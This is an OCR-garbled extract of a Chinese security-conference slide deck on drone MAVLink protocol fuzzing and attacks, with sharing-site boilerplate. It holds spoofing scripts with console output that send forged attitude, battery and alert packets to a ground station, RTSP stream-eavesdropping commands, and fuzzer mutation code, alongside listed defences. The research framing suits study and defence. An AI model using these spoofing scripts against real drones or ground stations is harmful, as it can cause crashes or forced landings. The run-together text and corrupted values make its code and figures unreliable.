腾讯安全沙龙:低空防线:无人机通信协议模糊测试与系统安全研究新突破_第1页
腾讯安全沙龙:低空防线:无人机通信协议模糊测试与系统安全研究新突破_第2页
腾讯安全沙龙:低空防线:无人机通信协议模糊测试与系统安全研究新突破_第3页
腾讯安全沙龙:低空防线:无人机通信协议模糊测试与系统安全研究新突破_第4页
腾讯安全沙龙:低空防线:无人机通信协议模糊测试与系统安全研究新突破_第5页
已阅读5页,还剩40页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

腾讯安全

云鼎实验室锋刃无影御见未来腾讯安全沙龙第4期(长沙站)●毕业于国防科大,曾在战支某部、梆梆

安全、三六零等公司任职●

湖南省青商会常务理事、人民邮电出版

社网络安全专家委员●行业技术报告2篇,技术发明专利5项,

挖掘智能网联汽车零部件Oday

漏洞上百个●牵头编写ITU-T国

际标准1项,参

网联汽车国家标准团体标准多项About

me龚伟炜长沙五戎科技有限公司

创始人&CEO关于我低空防线:无人机通信协议模糊测试与系统安全研究新突破——基于模糊测试的多旋翼无人机安全研究一

无人机软硬件架构特征二无人机通信协议三

无人机模糊测试初探四无人机漏洞视频演示目录Contents一

、无人机软硬件架构特征多旋翼和固定翼

100C100多旋翼架构特征操作系统

ROS通信协议硬件飞行控制系统:

MCU、IMU、气压计、GPS

模块(大脑)通信模块:无线、卫星通信(嘴巴,耳朵)动力系统:电机与电子调速器、

BMS

(四肢)传感器系统:

摄像头,红外、避障、环境等传感器(视、听、触)存储设备:SD卡辅助调试:调试接口硬件主控:STM32F4051

陀螺仪:

姿态感知、飞行控制硬件GCS)

的“姿态欺骗”攻击。通过伪造无人机的姿态数据(包括俯仰角、滚转角和偏航角),让地面控制站误

判无人机的实际方位和运动。这种欺骗可能导致操作员基于虚假的数据做出错误

决策,根据姿态自动调整的时候,会导致机器失去平衡。针对无人机地面控制站

(Ground

ControlStation,1、

飞行姿态欺骗漏洞原理while

True:heartbeat_packet

=create_heartbeat()attitude_packet=create_attitude()send_mavlink_packet(heartbeat_packet,target_ip,target_port)send_mavlink_packet(attitude_packet,target_ip,target_port)roll

=random.uniform(-1.0,1.0)

#

滚转角(弧度)yaw=random.uniform(-3.14,3.14)#

偏航角(-π到π)SendaMAVLink

packetusingScapy.send(packet)CODE700000+9.8ft

个-0.0

mpho00:01:0143.3

ft

→0.0mph秀

0

.

0ft飞行姿态欺骗ARDUPILOT1001000飞行姿态欺骗ARDUPILOTTeranLodPogess00000—(kali@kali)-[~/Desktop/NewFolder]s

sudopython./zitai.py

10.13.0.6:14550100+9.8t

^0.0

mph

000:01:1343.4t→0.1mpht0.0ft7100kalf@kal-/DesktoplNew

FolderFile

Actions

Edit

View

Help#伪代码示例:姿态角合理性校验if

abs(attitude.roll)>math.pi/2orabs(attitude.pitch)>

math.pi/2:

ra

iseInvalidAttitudeError(

"姿态角超出物理极限")#

心跳包枚举值白名单校验if

heartbeat.system_status

not

in

MAV_STATE_VALID_STATES:trigger_antispoofing_protocol()防御操作系统

100实时操作系统

(RTOS):

如果有任务需要执行,实时操作系统会立即(在较短时间内)

执行该任务,保证了任务在指定时间内完成。开源:

FreeRTOS两大核心:任务调度:根据任务的优先级和资源需求,合理分配

CPU

时间,

确保高优先级任务及时执行,从而满足实时性要求中断管理:

快速响应外部事件(如硬件信号)来暂停当前任务,

执行中断处理程序,完成后恢复,保障系统的实时响应能力。ROS100ROS(Robot

Operating

System)(1)无人机仿真,避免摔坏真机。(2)开源生态:有全球最大的机器人开源社区(3)

在无人机中负责多方面的控制与数据处理。

,BMS电池的状态数据也会传递给ROS。向地面控制站

(GCS)发送虚假的电池状态数据,以

导其了解无人机的实际电池状态。无人机电量达到一个临界点0,会导致触发紧急着陆协

议或其他安全措施。例如终止当前任务,自动返航、无视GPS

信号质量直接迫降、

禁用电机输出(部分固件版本)2、

BMS

欺骗原理battery_status=mav.battery_status_encode(id=0,#Battery

IDbattery_function=mavutil.mavlink.MAV_BATTERY_FUNCTION_ALL,#Function

ofthebatterytype=mavutil.mavlink.MAV_BATTERY_TYPE_LIPO,#Typeofbatterytemperature=300,#Temperature

in

celsius

*10voltages=[3000,3000,3000,θ,θ,θ,θ,θ,θ,e],#Very

Low

battery

voltage

of

cells(in

millivolts)cUrrent_battery=-1,#Battery

current

in10*milliamperes(-1

for

not

measured)CUrrent_consumed=5000,#Consumedcurrent

in

mAh(highvalue

indicating

usage)energy_consumed=10000,#Consumedenergyin1/100thJoules(highvalueindicatingusage)battery_remaining=0

#Remaining

battery

energy(0%-indicating

dead

battery)return

battery_status.pack(mav)100whileTrue:battery_status_packet=create_battery_status()send_mavlink_packet(battery_status_packet,target_ip,target_port)BMS欺骗CODEARDUPILOT00000+9.8t

个-0.0mpho00:02:3348.8t→0.0mph4175.7ftFile

Actions

Edit

View

HelpSent

1

packets.Sentbatterystatuspacket

to10.13.0.6:14550

Sent

1

packets.Sentbatterystatuspacket

to10.13.0.6:14550

Sent

1

packets.Sentbatterystatuspacket

to10.13.0.6:14550

Sent

1

packets.Sentbatterystatuspacket

to10.13.0.6:14550BMS欺骗)kali@kali:~/Desktop/New

Folder+9.8ft个-0.0

mpho00:02:4248.7t→0.0mph秀175.7ftARDUPILOI2071.

启用MAVL

ink

签名字段(signature)

验证消息来源

2.部署电池物理指纹技术

(如内阻动态检测)

3.引入卡尔曼滤波器预测电量消耗曲线,拒绝突变数据防御100二

、无人机通信协议通信协议MA

VLink

协议无线电频率协议:

2.4G、5.8G

4G

/5G/

卫星通信协议RTSP:

视频传输协议OcuSync协议1007·MAVLink

是为微型飞行器MAV(Micro

Air

Vehicle)

设计的

(LGPL)开源轻量级的消息传输协议。

·

无人飞行器和地面站

(GCS)

之间,以及无人飞行器之间通讯常用的协议。·APM、PIXHAWK飞控,MissionPlanner、QGroundControl地面站均使用了MAVLink

协议进行通讯。MAVlink通信协议解释起始标志,在v1.0中以“FE”作为起始标志(FE=0xFE)有效载荷数据的字节长度

(N)消息帧的序列号,每发送完一个消息,内容加1。用以检测丢包情况系统ID:

发送本条消息包的系统/飞行器的编号。用于消息接收端在同一网络中识别发送消息的系统或飞行器。组件ID:发送本条消息包的部件的编号。用于消息接收端在同一系统中区分不同的组件,如IMU

和飞控消息ID:有效载荷中消息包的编号。该id

定义了有效载荷内放的是什么类型的消息,以便消息接收端正确地解码消息包要用的数据放在有效载荷里,内容取决于message

id,长度为LEN校验位:ITU

X.25/SAE

AS-4哈希校验(CRC-16-CCITT),不包括数据包起始位,从第一个字节到有效载荷(字节1

..

(N+6))进行crc16

计算(还要额外加上一个MAVLINK_CRC_EXTRA

字节),得到一个16位校验码校验位:上述CRC-16

的高位部分STXLENSEQSYSCOMPMSGPAYLOADCKACKB8

-

2

6

3

节值V10

2550

~2551

~2550~2550~2550~2

55字节16位校验码的低字节16位校验码的高字节MAVlinkv1.0

协议解析内容STXLENSEQSYSCOMPMSGPAYLOADCKACKB字节索引0123456~N

+6N+7N+8起始字节

(

STX):FE这是MAVLink

协议的起始标志位,在MAVLink

v1中,每个数据包都以0xFE

开始。长度

(Length):09这个字节表示数据包中有效载荷

(不包括起始字节、长度、系统ID、组件ID

和校验和

)的长度。在这个例子中,09意味着有效载荷长度为9字节。数据包序列号:48代表这是发送的第73个序列系统ID:FF即系统id为255,这里接收的是QGC

的默认系统id。组件ID:BEBE

在十六进制中对应的十进制数值是190,对应id为190的这个组件。消息I

D:00对应数字0,代表这是一条心跳广播。具体消息对应id

在官网找到。有效载荷(Payload)

:000000000608CO0403这是消息的数据部分,内容取决于消息ID。最后两个字节是校验和,用于验证数据包的完整性。校验和是根据数据包中的特定字节计算得出的。MAVlin

k

v1.0

协议解析

FE0948

FF

BE00000000000608C004039C

B6心跳包一般用来表明发出该消息的设备是否活跃,消息接收端会根据是否及时收到了心跳包来判断是否和消息发送

端失去了联系。心跳包由6个数据成员组成,占用9个字节。1、type:

飞行器类型,表示了当前发消息的是什么飞行器,如四旋翼,直升机等。type的取值对应枚举类型MAV_TYPE(如四旋翼,对应数值2)。2、autopilot:

飞控类型,什么牌子,如apm,Pixhawk

)3、base

mode:基本模式:飞控现在所处的飞行模式(手动、自动、返航、悬停等模式)4、custom

mode:用户模式:在基础上,更详细飞行状态(自动起飞、自动降落、执行特定任务、自动导航)5、system

status:系统状态(正常工作、启动中、警告、故障、关闭)6、mavlink

version:版

本:消息发送端的MAVLink

版本。Field

Nametypeautopilotbase_modecustom_modesystem_statusmavlink_versionType

Descriptionuint8_t

Type

of

the

MAV(quadrotor,helicopter.etc..up

to15types.definedin

MAV_TYPEENUM)uint8_t

Autopilot

type/class.defined

in

MAV_AUTOPILOT

ENUMuint8_t

System

mode

bitfield.see

MAV_MODE_FLAG

ENUM

inmavlinkfinclude/mavlink_types.huint32_t

Abitfield

for

use

for

autopilot-specific

flags.uint8_t

System

status

flag.see

MAV_STATE

ENUMuint8_t_mavlink_versionMAVLink

version.not

writable

by

user.gets

added

by

protocol

because

of

magic

data

type:uint8

t

mavlink

versionHEARTBEAT(#0

)the

recelving

system

to

treat

turther

messages

from

this

system

appropr

fate(eg.by

laying

out

the

user

interface

based

onthe

auntoplot.STXLENINCCMPFLAGSFLAGSSEQSYSIDCOMP

IDMSG

ID(3

bytes)PAYLOAD(0-255

bytes)CHECKSUM(2

bytes)SIGNATURE(13bytes)字节索

引0名称STXC版本

内容值含义uint8_t

magic

数据包起始标志OxFD协议特定的文本开始(STX)标记,用于指示新数据包的开始。12LENINC

FLAGSuint8_t

lenuint8_tincompat_flags有效载荷长度不兼容标志0-255-标识该消息包中负载长度为实现MAVLink兼容性必须理解的标志(若实现不理解标志,则丢弃数据包)。3CMP

FLAGSuint8_t

compat_flags

兼容性标志如果不理解,则可以忽略的标志(即使不

理解标志,实现仍然可以处理数据包)。4SEQuint8_t

seq

包序列号0-255

消息发送序列号,用于检测数据包的丢失5SYS

IDuint8_t

sysid

系统ID(发送者)发送信息的系统(车辆)的ID。用于区分67

to

9COMP

IDMSG

IDuint8_t

compiduint32_t

msgid:24uint8_t

payload[max255]组件ID(发送者)消息ID

(low,middle,highbytes)1-255

组件(例如自动驾驶仪和摄像头)0-16777215

息。类型的ID。用于将数据解For

n-byte

payload:n=0:NA,

n=1:10,n>=2:10to(9+n)PAYLOAD消息载荷消息内部的负载信息(n+10)to(n+11)(n+12)to(n+25)CH

ECKSUMuint16_t

checksumSIGNATUREuint8_tsignature[13]Checksum(low

byte,high

byte)签名信息CRC-16/MCRF4XX

for

message(excluding

magic

byte)

IncludesCRC_EXTRA

byte.(可选)签名以确保链接是防篡改的.息对象载中消消负回效码有MAVlink

v2.0

协议解析MAVLinkV2(12-280)5发送消息的组件的ID。用于区分系统中的1-255

网络上的系统.100协议漏洞案例Sent

1

packets.SentSTATUSTEXTpacketwith

severity

5

and

message'NOTICE:System

check

comp

lete'to

10.13.0.6:14550SentSTATUSTEXTpacketwithseverity

4

and

message

‘WARNING:High

temperature

detected'to10.13.0.6:14550Sent

1

packets.Sent

STATUSTEXT

packet

with

severity

3

and

message

'ERROR:GPS

signal

lost't

o10.13.0.6:14550[07:26:28.259]Info:ArduCopterV4.4.4(865cffa5)[07:26:28.259]Info:f30d9cd50502[07:26:28.259]Info:Frame:QUAD/X[97:28:83.222]ALERT:ALERT:Attentionneeded[97:28:04.270]Warning:WARNING:Hightemperaturedetected【07:28:05.322]Notice:NOTICE:Systemcheckcoplete[

::

::

.

7]A】L

:

:

R:

t:

t

tion

n[07:28:08.456]Notice:NOTICE:System

check

complete[07:28:09.499]Marning:WARNING:H1ghtemperaturedetected[07:28:10.523]Error:ERROR:GPSsignallostddeeddeeeennntetioAenTAtALEERTRTALALEERT584368706282897073、

告警欺骗1004、验证绕过÷9.8ft

个-0.0

mpho00:02:00

40.1ft

→0.0

mph*148.9ftARDUPILOI自100%100900Dnmap

10.13.0.3

-script

rtsp*Nmap

scan

report

for

10.13.0.3(

10.13.0.3)Host

is

up(0.0000080s

latency).Not

shown:997

closed

tcp

ports(reset)PORT

STATESERVICE5

-ur

ut

t:spdiscovered:rtsp://10.13.0.3/stream1TI_rtsp-mechods:OPTIOiNS,DeSCRIbE,ANIMOUNCE,GET_PARAMETER,PAUSE,PLAY,RECO,

,S

RA

ER,TEARDOWNMAC

Address:02:42:0A:0D:00:03(Unknown)Ls

ffplayrtsp://10.13.0.3:554/streamlffplay

version7.1-3+b1Copyright(c)2003-2024the

FFmpeg

developerspppMETnAePp_oETcpUP00SE30RDerrnsptcpr4built

with

gcc

14(Debianconfiguration:--prefix=/usrbdir=/usr/lib/x86_64-linux-gnuamd64-enable-gpl-disable-stripping-disable-libmfx--disable-omx

-enable-gnutls-enable-libaom-enable-libass-enable-libbs2b-enable-libcdio--enable-libcodec2-enable-libdav1d-enable-libflite-enable-libfontconfig--enable-libfreetype-enable-libfribidi

-enable-libglslang--enable-libgme-xvid-enable-libzimg-enable-openal-enable-opencl-enable-opengl--disab5、RTSP窃听14.2.0-11)-extra-version=3+b1

-toolchain=hardened--incdir=/usr/include/×86_64-linux-gnu-enable-libgsm

-enable-libharfbuzz

-enable-libmp3lame

--enable-libmysofa

-enable-libopenjpeg-enable-libopenmpt--enable-libopus--enable-librubberband-enable-libshine-enable-libsnappy-enable-libsoxr--enable-libspeex--enable-libtheora--enable-libtwolame

-enable-libvidstab-enable-libvorbis-enable-libvpx--enable-libwebp-enable-lib×265-enable-libxml2--enable-lib--li--archG100三

、无人机模糊测试计算方式心跳包=1.0,控制指令=3.0,参数配置=2.0,数据回传=0.5新覆盖基本块数

×2+新覆盖边数×1(字段数/10)+

嵌套深度

×2+数组字段存在标志×1同类崩溃历史次数

×log

(严重等级)触发新状态转换次数×2有效CRC=1.5/无效CRC=0.5def

calculate_score(self,seed):score

=8#基础权重score

+=self._criticalmessage_score(seed)

*2.0#

关键肖息加倍score+=

self.coverage_score(seed)*1.5score+=

self.complexity_score(seed)*8.8score+=self._crash_correlation_score(seed)*

3

.8

#

崩溃相关最高权重#时间衰减因子score*=(8.95**

seed.age)#

老化衰减returnmax(score,0.1)#

保持最小优先级评分维度关键消息类型代码覆盖率提升消息结构复杂度崩溃相关性状态转移触发校验和有效性模糊测试引擎设计权重系数×2.0×1.5×0.8×3.0×1.2×0.7种子选择策略class

SeedScorer:def

_mutate_length(self):#生成长度与payload

不匹配的用例ifrandom.random()<0.3:self.base.len=(self.base.len+random.randint(-5,5))%255defmutate_magic(

header):magic_values=[xFE,QxFD,0x80,8xFF]#MAVLinkv1=8xFE,v2=8xFDifrandom.random()<0.

3:header.magic=random.choice(magic_values)#随机替换

elif

random.random()<

0.2:header.magic=header.magic

^8xFF

#

位翻转模糊测试引擎设计种子变异策略FE

00

48

FF

BE

009C

B6FE0148

FF

BE00

FF*109C

B6·

基础变异策略·

字段值的边界测试·

溢出型变异策略模糊测试引擎设计种子变异策略FE0900FF

BE

009CB6FE

09FF

FF

BE

009C

B6·

基础变异策略·

序列号异常变异策略1000def

mutate_sequence(header):#生成异常序列号模式header.seq=random.choice(patterns)header.seq

+

257,random.randint(0,255)patterns

=[8x00,8xFF,#

过uint8

范围#

随机值#最小值#最大值溢出classFieldMutator:def

mutate(self,field_def,value):if

field_def.

type

=='uint8_t':return

self._mutate_int(value,θ,255)

elif

field_def.type=='float':return

self._mutate_float(value)

elif

enum’in

field_def:return

self._mutate_enum(field_def.enum)|def_mutate_int(

self,value,min_val,max_val):mutations=【min_val-1,

#下溢出max_val

+1,

#上溢出(value

A

8xFF),

#位翻转random.randint(0,BxFFFFFFFF)#随机大数·

高级变异策略·Pay

loa

d字段级变异·

消息结构破坏

C004039C

B6000608FFBE

000800940000FEreturn

random.choice(mutations)def

mutate_float(self,value):float('inf'),-float('inf'),float('nan'),1e30,-1e30,0.0return

struct.unpack('f’,struct.pack('

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论